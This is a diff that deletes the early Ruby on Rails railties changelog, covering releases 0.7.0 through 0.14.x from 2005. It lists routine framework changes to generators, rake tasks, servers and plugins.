-* Make sure that legacy db tasks also reference :database for SQLite #2830 [kazuhiko@fdiary.net]
-
-* Pass __FILE__ when evaluating plugins' init.rb.  #2817 [James Adam]
-
-* Better svn status matching for generators.  #2814 [François Beausoleil <francois.beausoleil@gmail.com>, Blair Zajac <blair@orcaware.com>]
-
-* Don't reload routes until plugins have been loaded so they have a chance to extend the routing capabilities [David Heinemeier Hansson]
-
-* Don't detach or fork for script/server tailing [Nicholas Seckar]
-
-* Changed all script/* to use #!/usr/bin/env ruby instead of hard-coded Ruby path. public/dispatcher.* still uses the hard-coded path  for compatibility with web servers that don't have Ruby in path [David Heinemeier Hansson]
-
-* Force RAILS_ENV to be "test" when running tests, so that ENV["RAILS_ENV"] = "production" in config/environment.rb doesn't wreck havok [David Heinemeier Hansson] #2660
-
-* Correct versioning in :freeze_gems Rake task.  #2778 [Jakob Skjerning, Jeremy Kemper]
-
-* Added an omnipresent RailsInfoController with a properties action that delivers an HTML rendering of Rails::Info (but only when local_request? is true). Added a new default index.html which fetches this with Ajax. [Sam Stephenson]
-
-
-*0.14.3 (RC4)* (November 7th, 2005)
-
-* Add 'add_new_scripts' rake task for adding new rails scripts to script/* [Jamis Buck]
-
-* Remove bogus hyphen from script/process/reaper calls to 'ps'.  #2767 [anonymous]
-
-* Copy lighttpd.conf when it is first needed, instead of on app creation [Jamis Buck]
-
-* Use require_library_or_gem 'fcgi' in script/server [Sam Stephenson]
-
-* Added default lighttpd config in config/lighttpd.conf and added a default runner for lighttpd in script/server (works like script/server, but using lighttpd and FastCGI). It will use lighttpd if available, otherwise WEBrick. You can force either or using 'script/server lighttpd' or 'script/server webrick' [David Heinemeier Hansson]
-
-* New configuration option config.plugin_paths which may be a single path like the default 'vendor/plugins' or an array of paths: ['vendor/plugins', 'lib/plugins'].  [Jeremy Kemper]
-
-* Plugins are discovered in nested paths, so you can organize your plugins directory as you like.  [Jeremy Kemper]
-
-* Refactor load_plugin from load_plugins.  #2757 [alex.r.moon@gmail.com]
-
-* Make use of silence_stderr in script/lighttpd, script/plugin, and Rails::Info [Sam Stephenson]
-
-* Enable HTTP installation of plugins when svn isn't avaialable. Closes #2661. [Chad Fowler]
-
-* Added script/about to display formatted Rails::Info output [Sam Stephenson]
-
-* Added Rails::Info to catalog assorted information about a Rails application's environment [Sam Stephenson]
-
-* Tail the logfile when running script/server lighttpd in the foreground [Sam Stephenson]
-
-* Try to guess the port number from config/lighttpd.conf in script/server lighttpd [Sam Stephenson]
-
-* Don't reap spawn-fcgi.  #2727 [matthew@walker.wattle.id.au]
-
-* Reaper knows how to find processes even if the dispatch path is very long.  #2711 [matthew@walker.wattle.id.au]
-
-* Make fcgi handler respond to TERM signals with an explicit exit [Jamis Buck]
-
-* Added demonstration of fixture use to the test case generated by the model generator [David Heinemeier Hansson]
-
-* If specified, pass PostgreSQL client character encoding to createdb.  #2703 [Kazuhiko <kazuhiko@fdiary.net>]
-
-* Catch CGI multipart parse errors.  Wrap dispatcher internals in a failsafe response handler.  [Jeremy Kemper]
-
-* The freeze_gems Rake task accepts the VERSION environment variable to decide which version of Rails to pull into vendor/rails.  [Chad Fowler, Jeremy Kemper]
-
-* Removed script.aculo.us.js, builder.js and slider.js (preperation for move of scriptaculous extensions to plugins, core scriptaculous will remain in Railties) [Thomas Fuchs]
-
-* The freeze_edge Rake task does smarter svn detection and can export a specific revision by passing the REVISION environment variable.  For example: rake freeze_edge REVISION=1234.  #2663 [Rick Olson]
-
-* Comment database.yml and include PostgreSQL and SQLite examples.  [Jeremy Kemper]
-
-* Improve script/plugin on Windows.  #2646 [Chad Fowler]
-
-* The *_plugindoc Rake tasks look deeper into the plugins' lib directories.  #2652 [bellis@deepthought.org]
-
-* The PostgreSQL :db_structure_dump Rake task limits its dump to the schema search path in database.yml.  [Anatol Pomozov <anatol.pomozov@gmail.com>]
-
-* Add task to generate rdoc for all installed plugins. [Marcel Molina Jr.]
-
-* Update script.aculo.us to V1.5_rc4 [Thomas Fuchs]
-
-* Add default Mac + DarwinPorts MySQL socket locations to the app generator.  [Jeremy Kemper]
-
-* Migrations may be destroyed: script/destroy migration foo.  #2635 [Charles M. Gerungan <charles.gerungan@gmail.com>, Jamis Buck, Jeremy Kemper]
-
-* Added that plugins can carry generators and that generator stub files can be created along with new plugins using script/generate plugin <name> --with-generator [David Heinemeier Hansson]
-
-* Removed app/apis as a default empty dir since its automatically created when using script/generate web_service [David Heinemeier Hansson]
-
-* Added script/plugin to manage plugins (install, remove, list, etc) [Ryan Tomayko]
-
-* Added test_plugins task: Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name) [David Heinemeier Hansson]
-
-* Added plugin generator to create a stub structure for a new plugin in vendor/plugins (see "script/generate plugin" for help) [David Heinemeier Hansson]
-
-* Fixed scaffold generator when started with only 1 parameter #2609 [self@mattmower.com]
-
-* rake should run functional tests even if the unit tests have failures [Jim Weirich]
-
-* Back off cleanpath to be symlink friendly. Closes #2533 [Nicholas Seckar]
-
-* Load rake task files in alphabetical order so you can build dependencies and count on them #2554 [Blair Zajac]
-
-
-*0.14.2 (RC3)* (October 26th, 2005)
-
-* Constants set in the development/test/production environment file are set in Object
-
-* Scaffold generator pays attention to the controller name.  #2562 [self@mattmower.com]
-
-* Include tasks from vendor/plugins/*/tasks in the Rakefile #2545 [Rick Olson]
-
-
-*0.14.1 (RC2)* (October 19th, 2005)
-
-* Don't clean RAILS_ROOT on windows
-
-* Remove trailing '/' from RAILS_ROOT [Nicholas Seckar]
-
-* Upgraded to Active Record 1.12.1 and Action Pack 1.10.1
-
-
-*0.14.0 (RC1)* (October 16th, 2005)
-
-* Moved generator folder from RAILS_ROOT/generators to RAILS_ROOT/lib/generators [Tobias Lütke]
-
-* Fix rake dev and related commands [Nicholas Seckar]
-
-* The rails command tries to deduce your MySQL socket by running `mysql_config
---socket`.  If it fails, default to /path/to/your/mysql.sock
-
-* Made the rails command use the application name for database names in the tailored database.yml file. Example: "rails ~/projects/blog" will use "blog_development" instead of "rails_development". [Florian Weber]
-
-* Added Rails framework freezing tasks: freeze_gems (freeze to current gems), freeze_edge (freeze to Rails SVN trunk), unfreeze_rails (float with newest gems on system)
-
-* Added update_javascripts task which will fetch all the latest js files from your current rails install. Use after updating rails. [Tobias Lütke]
-
-* Added cleaning of RAILS_ROOT to useless elements such as '../non-dot-dot/'. Provides cleaner backtraces and error messages. [Nicholas Seckar]
-
-* Made the instantiated/transactional fixtures settings be controlled through Rails::Initializer. Transactional and non-instantiated fixtures are default from now on. [Florian Weber]
-
-* Support using different database adapters for development and test with ActiveRecord::Base.schema_format = :ruby [Sam Stephenson]
-
-* Make webrick work with session(:off)
-
-* Add --version, -v option to the Rails command. Closes #1840. [stancell]
-
-* Update Prototype to V1.4.0_pre11, script.aculo.us to V1.5_rc3 [2504] and fix the rails generator to include the new .js files [Thomas Fuchs]
-
-* Make the generator skip a file if it already exists and is identical to the new file.
-
-* Add experimental plugin support #2335
-
-* Made Rakefile aware of new .js files in script.aculo.us [Thomas Fuchs]
-
-* Make table_name and controller_name in generators honor AR::Base.pluralize_table_names. #1216 #2213 [kazuhiko@fdiary.net]
-
-* Clearly label functional and unit tests in rake stats output.  #2297 [lasse.koskela@gmail.com]
-
-* Make the migration generator only check files ending in *.rb when calculating the next file name #2317 [Chad Fowler]
-
-* Added prevention of duplicate migrations from the generator #2240 [François Beausoleil]
-
-* Add db_schema_dump and db_schema_import rake tasks to work with the new ActiveRecord::SchemaDumper (for dumping a schema to and reading a schema from a ruby file).
-
-* Reformed all the config/environments/* files to conform to the new Rails::Configuration approach. Fully backwards compatible.
-
-* Added create_sessions_table, drop_sessions_table, and purge_sessions_table as rake tasks for databases that supports migrations (MySQL, PostgreSQL, SQLite) to get a table for use with CGI::Session::ActiveRecordStore
-
-* Added dump of schema version to the db_structure_dump task for databases that support migrations #1835 [Rick Olson]
-
-* Fixed script/profiler for Ruby 1.8.2 #1863 [Rick Olson]
-
-* Fixed clone_structure_to_test task for SQLite #1864 [jon@burningbush.us]
-
-* Added -m/--mime-types option to the WEBrick server, so you can specify a Apache-style mime.types file to load #2059 [ask@develooper.com]
-
-* Added -c/--svn option to the generator that'll add new files and remove destroyed files using svn add/revert/remove as appropriate #2064 [Kevin Clark]
-
-* Added -c/--charset option to WEBrick server, so you can specify a default charset (which without changes is UTF-8) #2084 [wejn@box.cz]
-
-* Make the default stats task extendable by modifying the STATS_DIRECTORIES constant
-
-* Allow the selected environment to define RAILS_DEFAULT_LOGGER, and have Rails::Initializer use it if it exists.
-
-* Moved all the shared tasks from Rakefile into Rails, so that the Rakefile is empty and doesn't require updating.
-
-* Added Rails::Initializer and Rails::Configuration to abstract all of the common setup out of config/environment.rb (uses config/boot.rb to bootstrap the initializer and paths)
-
-* Fixed the scaffold generator to fail right away if the database isn't accessible instead of in mid-air #1169 [Chad Fowler]
-
-* Corrected project-local generator location in scripts.rb #2010 [Michael Schuerig]
-
-* Don't require the environment just to clear the logs #2093 [Scott Barron]
-
-* Make the default rakefile read *.rake files from config/tasks (for easy extension of the rakefile by e.g. generators)
-
-* Only load breakpoint in development mode and when BREAKPOINT_SERVER_PORT is defined.
-
-* Allow the --toggle-spin switch on process/reaper to be negated
-
-* Replace render_partial with render :partial in scaffold generator [Nicholas Seckar]
-
-* Added -w flag to ps in process/reaper #1934 [Scott Barron]
-
-* Allow ERb in the database.yml file (just like with fixtures), so you can pull out the database configuration in environment variables #1822 [Duane Johnson]
-
-* Added convenience controls for FCGI processes (especially when managed remotely): spinner, spawner, and reaper. They reside in script/process. More details can be had by calling them with -h/--help.
-
-* Added load_fixtures task to the Rakefile, which will load all the fixtures into the database for the current environment #1791 [Marcel Molina Jr.]
-
-* Added an empty robots.txt to public/, so that web servers asking for it won't trigger a dynamic call, like favicon.ico #1738 [Michael Schubert]
-
-* Dropped the 'immediate close-down' of FCGI processes since it didn't work consistently and produced bad responses when it didn't. So now a TERM ensures exit after the next request (just as if the process is handling a request when it receives the signal). This means that you'll have to 'nudge' all FCGI processes with a request in order to ensure that they have all reloaded. This can be done by something like ./script/process/repear --nudge 'http://www.myapp.com' --instances 10, which will load the myapp site 10 times (and thus hit all of the 10 FCGI processes once, enough to shut down).
-
-
-*0.13.1* (11 July, 2005)
-
-* Look for app-specific generators in RAILS_ROOT/generators rather than the clunky old RAILS_ROOT/script/generators.  Nobody really uses this feature except for the unit tests, so it's a negligible-impact change.  If you want to work with third-party generators, drop them in ~/.rails/generators or simply install gems.
-
-* Fixed that each request with the WEBrick adapter would open a new database connection #1685 [Sam Stephenson]
-
-* Added support for SQL Server in the database rake tasks #1652 [Ken Barker] Note: osql and scptxfr may need to be installed on your development environment. This involves getting the .exes and a .rll (scptxfr) from a production SQL Server (not developer level SQL Server). Add their location to your Environment PATH and you are all set.
-
-* Added a VERSION parameter to the migrate task that allows you to do "rake migrate VERSION=34" to migrate to the 34th version traveling up or down depending on the current version
-
-* Extend Ruby version check to include RUBY_RELEASE_DATE >= '2005-12-25', the final Ruby 1.8.2 release #1674 [court3nay]
-
-* Improved documentation for environment config files #1625 [court3nay]
-
-
-*0.13.0* (6 July, 2005)
-
-* Changed the default logging level in config/environment.rb to INFO for production (so SQL statements won't be logged)
-
-* Added migration generator: ./script/generate migration add_system_settings
-
-* Added "migrate" as rake task to execute all the pending migrations from db/migrate
-
-* Fixed that model generator would make fixtures plural, even if ActiveRecord::Base.pluralize_table_names was false #1185 [Marcel Molina Jr.]
-
-* Added a DOCTYPE of HTML transitional to the HTML files generated by Rails #1124 [Michael Koziarski]
-
-* SIGTERM also gracefully exits dispatch.fcgi.  Ignore SIGUSR1 on Windows.
-
-* Add the option to manually manage garbage collection in the FastCGI dispatcher.  Set the number of requests between GC runs in your public/dispatch.fcgi [Stefan Kaes]
-
-* Allow dynamic application reloading for dispatch.fcgi processes by sending a SIGHUP. If the process is currently handling a request, the request will be allowed to complete first. This allows production fcgi's to be reloaded without having to restart them.
-
-* RailsFCGIHandler (dispatch.fcgi) no longer tries to explicitly flush $stdout (CgiProcess#out always calls flush)
-
-* Fixed rakefile actions against PostgreSQL when the password is all numeric #1462 [Michael Schubert]
-
-* ActionMailer::Base subclasses are reloaded with the other rails components #1262
-
-* Made the WEBrick adapter not use a mutex around action performance if ActionController::Base.allow_concurrency is true (default is false)
-
-* Fixed that mailer generator generated fixtures/plural while units expected fixtures/singular #1457 [Scott Barron]
-
-* Added a 'whiny nil' that's aim to ensure that when users pass nil to methods where that isn't appropriate, instead of NoMethodError? and the name of some method used by the framework users will see a message explaining what type of object was expected. Only active in test and development environments by default #1209 [Michael Koziarski]
-
-* Fixed the test_helper.rb to be safe for requiring controllers from multiple spots, like app/controllers/article_controller.rb and app/controllers/admin/article_controller.rb, without reloading the environment twice #1390 [Nicholas Seckar]
-
-* Fixed Webrick to escape + characters in URL's the same way that lighttpd and apache do #1397 [Nicholas Seckar]
-
-* Added -e/--environment option to script/runner #1408 [François Beausoleil]
-
-* Modernize the scaffold generator to use the simplified render and test methods and to change style from @params["id"] to params[:id].  #1367
-
-* Added graceful exit from pressing CTRL-C during the run of the rails command #1150 [Caleb Tennis]
-
-* Allow graceful exits for dispatch.fcgi processes by sending a SIGUSR1. If the process is currently handling a request, the request will be allowed to complete and then will terminate itself. If a request is not being handled, the process is terminated immediately (via #exit). This basically works like restart graceful on Apache. [Jamis Buck]
-
-* Made dispatch.fcgi more robust by catching fluke errors and retrying unless its a permanent condition. [Jamis Buck]
-
-* Added console --profile for profiling an IRB session #1154 [Jeremy Kemper]
-
-* Changed console_sandbox into console --sandbox #1154 [Jeremy Kemper]
-
-
-*0.12.1* (20th April, 2005)
-
-* Upgraded to Active Record 1.10.1, Action Pack 1.8.1, Action Mailer 0.9.1, Action Web Service 0.7.1
-
-
-*0.12.0* (19th April, 2005)
-
-* Fixed that purge_test_database would use database settings from the development environment when recreating the test database #1122 [rails@cogentdude.com]
-
-* Added script/benchmarker to easily benchmark one or more statement a number of times from within the environment. Examples:
-
-    # runs the one statement 10 times
-    script/benchmarker 10 'Person.expensive_method(10)'
-    
-    # pits the two statements against each other with 50 runs each
-    script/benchmarker 50 'Person.expensive_method(10)' 'Person.cheap_method(10)'
-
-* Added script/profiler to easily profile a single statement from within the environment. Examples:
-
-    script/profiler 'Person.expensive_method(10)'
-    script/profiler 'Person.expensive_method(10)' 10 # runs the statement 10 times
-
-* Added Rake target clear_logs that'll truncate all the *.log files in log/ to zero #1079 [Lucas Carlson]
-
-* Added lazy typing for generate, such that ./script/generate cn == ./script/generate controller and the likes #1051 [k@v2studio.com]
-
-* Fixed that ownership is brought over in pg_dump during tests for PostgreSQL #1060 [pburleson]
-
-* Upgraded to Active Record 1.10.0, Action Pack 1.8.0, Action Mailer 0.9.0, Action Web Service 0.7.0, Active Support 1.0.4
-
-
-*0.11.1* (27th March, 2005)
-
-* Fixed the dispatch.fcgi use of a logger
-
-* Upgraded to Active Record 1.9.1, Action Pack 1.7.0, Action Mailer 0.8.1, Action Web Service 0.6.2, Active Support 1.0.3
-
-
-*0.11.0* (22th March, 2005)
-
-* Removed SCRIPT_NAME from the WEBrick environment to prevent conflicts with PATH_INFO #896 [Nicholas Seckar]
-
-* Removed ?$1 from the dispatch.f/cgi redirect line to get rid of 'complete/path/from/request.html' => nil being in the @params now that the ENV["REQUEST_URI"] is used to determine the path #895 [dblack/Nicholas Seckar]
-
-* Added additional error handling to the FastCGI dispatcher to catch even errors taking down the entire process
-
-* Improved the generated scaffold code a lot to take advantage of recent Rails developments #882 [Tobias Lütke]
-
-* Combined the script/environment.rb used for gems and regular files version. If vendor/rails/* has all the frameworks, then files version is used, otherwise gems #878 [Nicholas Seckar]
-
-* Changed .htaccess to allow dispatch.* to be called from a sub-directory as part of the push with Action Pack to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Lütke]
-
-* Added script/runner which can be used to run code inside the environment by eval'ing the first parameter. Examples:
-    
-    ./script/runner 'ReminderService.deliver'
-    ./script/runner 'Mailer.receive(STDIN.read)'
-  
-  This makes it easier to do CRON and postfix scripts without actually making a script just to trigger 1 line of code.
-
-* Fixed webrick_server cookie handling to allow multiple cookes to be set at once #800, #813 [dave@cherryville.org]
-
-* Fixed the Rakefile's interaction with postgresql to:
-
-    1. Use PGPASSWORD and PGHOST in the environment to fix prompting for 
-       passwords when connecting to a remote db and local socket connections. 
-    2. Add a '-x' flag to pg_dump which stops it dumping privileges #807 [rasputnik]
-    3. Quote the user name and use template0 when dumping so the functions doesn't get dumped too #855 [pburleson]
-    4. Use the port if available #875 [madrobby]
-
-* Upgraded to Active Record 1.9.0, Action Pack 1.6.0, Action Mailer 0.8.0, Action Web Service 0.6.1, Active Support 1.0.2
-
-
-*0.10.1* (7th March, 2005)
-
-* Fixed rake stats to ignore editor backup files like model.rb~ #791 [Sebastian Kanthak]
-
-* Added exception shallowing if the DRb server can't be started (not worth making a fuss about to distract new users) #779 [Tobias Lütke]
-
-* Added an empty favicon.ico file to the public directory of new applications (so the logs are not spammed by its absence)
-
-* Fixed that scaffold generator new template should use local variable instead of instance variable #778 [Dan Peterson]
-
-* Allow unit tests to run on a remote server for PostgreSQL #781 [adamm@galacticasoftware.com]
-
-* Added web_service generator (run ./script/generate web_service for help) #776 [Leon Bredt]
-
-* Added app/apis and components to code statistics report #729 [Scott Barron]
-
-* Fixed WEBrick server to use ABSOLUTE_RAILS_ROOT instead of working_directory #687 [Nicholas Seckar]
-
-* Fixed rails_generator to be usable without RubyGems #686 [Cristi BALAN]
-
-* Fixed -h/--help for generate and destroy generators #331
-
-* Added begin/rescue around the FCGI dispatcher so no uncaught exceptions can bubble up to kill the process (logs to log/fastcgi.crash.log)
-
-* Fixed that association#count would produce invalid sql when called sequentialy #659 [kanis@comcard.de]
-
-* Fixed test/mocks/testing to the correct test/mocks/test #740
-
-* Added early failure if the Ruby version isn't 1.8.2 or above #735
-
-* Removed the obsolete -i/--index option from the WEBrick servlet #743
-
-* Upgraded to Active Record 1.8.0, Action Pack 1.5.1, Action Mailer 0.7.1, Action Web Service 0.6.0, Active Support 1.0.1
-
-
-*0.10.0* (24th February, 2005)
-
-* Changed default IP binding for WEBrick from 127.0.0.1 to 0.0.0.0 so that the server is accessible both locally and remotely #696 [Marcel Molina Jr.]
-
-* Fixed that script/server -d was broken so daemon mode couldn't be used #687 [Nicholas Seckar]
-
-* Upgraded to breakpoint 92 which fixes:
-
-    * overload IRB.parse_opts(), fixes #443
-      => breakpoints in tests work even when running them via rake
-    * untaint handlers, might fix an issue discussed on the Rails ML
-    * added verbose mode to breakpoint_client
-    * less noise caused by breakpoint_client by default
-    * ignored TerminateLineInput exception in signal handler
-      => quiet exit on Ctrl-C
-
-* Added support for independent components residing in /components. Example:
-
-    Controller: components/list/items_controller.rb
-    (holds a List::ItemsController class with uses_component_template_root called)
-    
-    Model     : components/list/item.rb
-    (namespace is still shared, so an Item model in app/models will take precedence)
-    
-    Views     : components/list/items/show.rhtml
-
-
-* Added --sandbox option to script/console that'll roll back all changes made to the database when you quit #672 [Jeremy Kemper]
-
-* Added 'recent' as a rake target that'll run tests for files that changed in the last 10 minutes #612 [Jeremy Kemper]
-
-* Changed script/console to default to development environment and drop --no-inspect #650 [Jeremy Kemper]
-
-* Added that the 'fixture :posts' syntax can be used for has_and_belongs_to_many fixtures where a model doesn't exist #572 [Jeremy Kemper]
-
-* Added that running test_units and test_functional now performs the clone_structure_to_test as well #566 [rasputnik]
-
-* Added new generator framework that informs about its doings on generation and enables updating and destruction of generated artifacts. See the new script/destroy and script/update for more details #487 [Jeremy Kemper]
-
-* Added Action Web Service as a new add-on framework for Action Pack [Leon Bredt]
-
-* Added Active Support as an independent utility and standard library extension bundle
-
-* Upgraded to Active Record 1.7.0, Action Pack 1.5.0, Action Mailer 0.7.0
-
-
-*0.9.5* (January 25th, 2005)
-
-* Fixed dependency reloading by switching to a remove_const approach where all Active Records, Active Record Observers, and Action Controllers are reloading by undefining their classes. This enables you to remove methods in all three types and see the change reflected immediately and it fixes #539. This also means that only those three types of classes will benefit from the const_missing and reloading approach. If you want other classes (like some in lib/) to reload, you must use require_dependency to do it.
-
-* Added Florian Gross' latest version of Breakpointer and friends that fixes a variaty of bugs #441 [Florian Gross]
-
-* Fixed skeleton Rakefile to work with sqlite3 out of the box #521 [rasputnik]
-
-* Fixed that script/breakpointer didn't get the Ruby path rewritten as the other scripts #523 [brandt@kurowski.net]
-
-* Fixed handling of syntax errors in models that had already been succesfully required once in the current interpreter
-
-* Fixed that models that weren't referenced in associations weren't being reloaded in the development mode by reinstating the reload
-
-* Fixed that generate scaffold would produce bad functional tests
-
-* Fixed that FCGI can also display SyntaxErrors
-
-* Upgraded to Active Record 1.6.0, Action Pack 1.4.0
-
-
-*0.9.4.1* (January 18th, 2005)
-
-* Added 5-second timeout to WordNet alternatives on creating reserved-word models #501 [Marcel Molina Jr.]
-
-* Fixed binding of caller #496 [Alexey]
-
-* Upgraded to Active Record 1.5.1, Action Pack 1.3.1, Action Mailer 0.6.1
-
-
-*0.9.4* (January 17th, 2005)
-
-* Added that ApplicationController will catch a ControllerNotFound exception if someone attempts to access a url pointing to an unexisting controller [Tobias Lütke]
-
-* Flipped code-to-test ratio around to be more readable #468 [Scott Baron]
-
-* Fixed log file permissions to be 666 instead of 777 (so they're not executable) #471 [Lucas Carlson]
-
-* Fixed that auto reloading would some times not work or would reload the models twice #475 [Tobias Lütke]
-
-* Added rewrite rules to deal with caching to public/.htaccess
-
-* Added the option to specify a controller name to "generate scaffold" and made the default controller name the plural form of the model.
-
-* Added that rake clone_structure_to_test, db_structure_dump, and purge_test_database tasks now pick up the source database to use from
-  RAILS_ENV instead of just forcing development #424 [Tobias Lütke]
-
-* Fixed script/console to work with Windows (that requires the use of irb.bat) #418 [Chris McGrath]
-
-* Fixed WEBrick servlet slowdown over time by restricting the load path reloading to mod_ruby
-
-* Removed Fancy Indexing as a default option on the WEBrick servlet as it made it harder to use various caching schemes
-
-* Upgraded to Active Record 1.5, Action Pack 1.3, Action Mailer 0.6
-
-
-*0.9.3* (January 4th, 2005)
-
-* Added support for SQLite in the auto-dumping/importing of schemas for development -> test #416
-
-* Added automated rewriting of the shebang lines on installs through the gem rails command #379 [Manfred Stienstra]
-
-* Added ActionMailer::Base.deliver_method = :test to the test environment so that mail objects are available in ActionMailer::Base.deliveries
-  for functional testing.
-
-* Added protection for creating a model through the generators with a name of an existing class, like Thread or Date.
-  It'll even offer you a synonym using wordnet.princeton.edu as a look-up. No, I'm not kidding :) [Florian Gross]
-
-* Fixed dependency management to happen in a unified fashion for Active Record and Action Pack using the new Dependencies module. This means that
-  the environment options needs to change from:
-  
-    Before in development.rb:
-      ActionController::Base.reload_dependencies = true  
-      ActiveRecord::Base.reload_associations     = true
-    
-    Now in development.rb:
-      Dependencies.mechanism = :load
-
-    Before in production.rb and test.rb:
-      ActionController::Base.reload_dependencies = false
-      ActiveRecord::Base.reload_associations     = false
-
-    Now in production.rb and test.rb:
-      Dependencies.mechanism = :require
-
-* Fixed problems with dependency caching and controller hierarchies on Ruby 1.8.2 in development mode #351
-
-* Fixed that generated action_mailers doesnt need to require the action_mailer since thats already done in the environment #382 [Lucas Carlson]
-
-* Upgraded to Action Pack 1.2.0 and Active Record 1.4.0
-
-
-*0.9.2*
-
-* Fixed CTRL-C exists from the Breakpointer to be a clean affair without error dumping [Kent Sibilev]
-
-* Fixed "rake stats" to work with sub-directories in models and controllers and to report the code to test ration [Scott Baron]
-
-* Added that Active Record associations are now reloaded instead of cleared to work with the new const_missing hook in Active Record.
-
-* Added graceful handling of an inaccessible log file by redirecting output to STDERR with a warning #330 [rainmkr]
-
-* Added support for a -h/--help parameter in the generator #331 [Ulysses]
-
-* Fixed that File.expand_path in config/environment.rb would fail when dealing with symlinked public directories [mjobin]
-
-* Upgraded to Action Pack 1.1.0 and Active Record 1.3.0
-
-
-*0.9.1*
-
-* Upgraded to Action Pack 1.0.1 for important bug fix
-
-* Updated gem dependencies
-
-
-*0.9.0*
-
-* Renamed public/dispatch.servlet to script/server -- it wasn't really dispatching anyway as its delegating calls to public/dispatch.rb
-
-* Renamed AbstractApplicationController and abstract_application.rb to ApplicationController and application.rb, so that it will be possible
-  for the framework to automatically pick up on app/views/layouts/application.rhtml and app/helpers/application.rb
-
-* Added script/console that makes it even easier to start an IRB session for interacting with the domain model. Run with no-args to
-  see help.
-
-* Added breakpoint support through the script/breakpointer client. This means that you can break out of execution at any point in
-  the code, investigate and change the model, AND then resume execution! Example:
-  
-    class WeblogController < ActionController::Base
-      def index
-        @posts = Post.find_all
-        breakpoint "Breaking out from the list"
-      end
-    end
-    
-  So the controller will accept the action, run the first line, then present you with a IRB prompt in the breakpointer window. 
-  Here you can do things like:
-  
-  Executing breakpoint "Breaking out from the list" at .../webrick_server.rb:16 in 'breakpoint'
-
-    >> @posts.inspect
-    => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>, 
-         #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]"
-    >> @posts.first.title = "hello from a breakpoint"
-    => "hello from a breakpoint"
-
-  ...and even better is that you can examine how your runtime objects actually work:
-
-    >> f = @posts.first 
-    => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
-    >> f.
-    Display all 152 possibilities? (y or n)
-  
-  Finally, when you're ready to resume execution, you press CTRL-D
-
-* Changed environments to be configurable through an environment variable. By default, the environment is "development", but you
-  can change that and set your own by configuring the Apache vhost with a string like (mod_env must be available on the server):
-  
-    SetEnv RAILS_ENV production
-  
-  ...if you're using WEBrick, you can pick the environment to use with the command-line parameters -e/--environment, like this:
-  
-    ruby public/dispatcher.servlet -e production
-
-* Added a new default environment called "development", which leaves the production environment to be tuned exclusively for that.
-
-* Added a start_server in the root of the Rails application to make it even easier to get started
-
-* Fixed public/.htaccess to use RewriteBase and share the same rewrite rules for all the dispatch methods
-
-* Fixed webrick_server to handle requests in a serialized manner (the Rails reloading infrastructure is not thread-safe)
-
-* Added support for controllers in directories. So you can have:
-
-    app/controllers/account_controller.rb        # URL: /account/
-    app/controllers/admin/account_controller.rb  # URL: /admin/account/
-  
-  NOTE: You need to update your public/.htaccess with the new rules to pick it up
-
-* Added reloading for associations and dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use 
-  those environments for development. This is turned on by default, but can be turned off with 
-  ActiveRecord::Base.reload_associations = false and ActionController::Base.reload_dependencies = false in production environments.
-
-* Added support for sub-directories in app/models. So now you can have something like Basecamp with:
-
-    app/models/accounting
-    app/models/project
-    app/models/participants
-    app/models/settings
-  
-  It's poor man's namespacing, but only for file-system organization. You still require files just like before.
-  Nothing changes inside the files themselves.
-
-
-* Fixed a few references in the tests generated by new_mailer [Jeremy Kemper]
-
-* Added support for mocks in testing with test/mocks
-
-* Cleaned up the environments a bit and added global constant RAILS_ROOT
-
-
-*0.8.5* (9)
-
-* Made dev-util available to all tests, so you can insert breakpoints in any test case to get an IRB prompt at that point [Jeremy Kemper]:
-
-    def test_complex_stuff
-      @david.projects << @new_project
-      breakpoint "Let's have a closer look at @david"
-    end
-  
-  You need to install dev-utils yourself for this to work ("gem install dev-util").
-
-* Added shared generator behavior so future upgrades should be possible without manually copying over files [Jeremy Kemper]
-
-* Added the new helper style to both controller and helper templates [Jeremy Kemper]
-
-* Added new_crud generator for creating a model and controller at the same time with explicit scaffolding [Jeremy Kemper]
-
-* Added configuration of Test::Unit::TestCase.fixture_path to test_helper to concide with the new AR fixtures style
-
-* Fixed that new_model was generating singular table/fixture names
-
-* Upgraded to Action Mailer 0.4.0
-
-* Upgraded to Action Pack 0.9.5
-
-* Upgraded to Active Record 1.1.0
-
-
-*0.8.0 (15)*
-
-* Removed custom_table_name option for new_model now that the Inflector is as powerful as it is
-
-* Changed the default rake action to just do testing and separate API generation and coding statistics into a "doc" task.
-
-* Fixed WEBrick dispatcher to handle missing slashes in the URLs gracefully [alexey]
-
-* Added user option for all postgresql tool calls in the rakefile [elvstone]
-
-* Fixed problem with running "ruby public/dispatch.servlet" instead of "cd public; ruby dispatch.servlet" [alexey]
-
-* Fixed WEBrick server so that it no longer hardcodes the ruby interpreter used to "ruby" but will get the one used based
-  on the Ruby runtime configuration. [Marcel Molina Jr.]
-
-* Fixed Dispatcher so it'll route requests to magic_beans to MagicBeansController/magic_beans_controller.rb [Caio Chassot]
-
-* "new_controller MagicBeans" and "new_model SubscriptionPayments" will now both behave properly as they use the new Inflector.
-
-* Fixed problem with MySQL foreign key constraint checks in Rake :clone_production_structure_to_test target [Andreas Schwarz]
-
-* Changed WEBrick server to by default be auto-reloading, which is slower but makes source changes instant.
-  Class compilation cache can be turned on with "-c" or "--cache-classes".
-
-* Added "-b/--binding" option to WEBrick dispatcher to bind the server to a specific IP address (default: 127.0.0.1) [Kevin Temp]
-
-* dispatch.fcgi now DOESN'T set FCGI_PURE_RUBY as it was slowing things down for now reason [Andreas Schwarz]
-
-* Added new_mailer generator to work with Action Mailer
-
-* Included new framework: Action Mailer 0.3
-
-* Upgraded to Action Pack 0.9.0
-
-* Upgraded to Active Record 1.0.0
-
-
-*0.7.0*
-
-* Added an optional second argument to the new_model script that allows the programmer to specify the table name, 
-  which will used to generate a custom table_name method in the model and will also be used in the creation of fixtures.
-  [Kevin Radloff]
-
-* script/new_model now turns AccountHolder into account_holder instead of accountholder [Kevin Radloff]
-
-* Fixed the faulty handleing of static files with WEBrick [Andreas Schwarz]
-
-* Unified function_test_helper and unit_test_helper into test_helper
-
-* Fixed bug with the automated production => test database dropping on PostgreSQL [dhawkins]
-
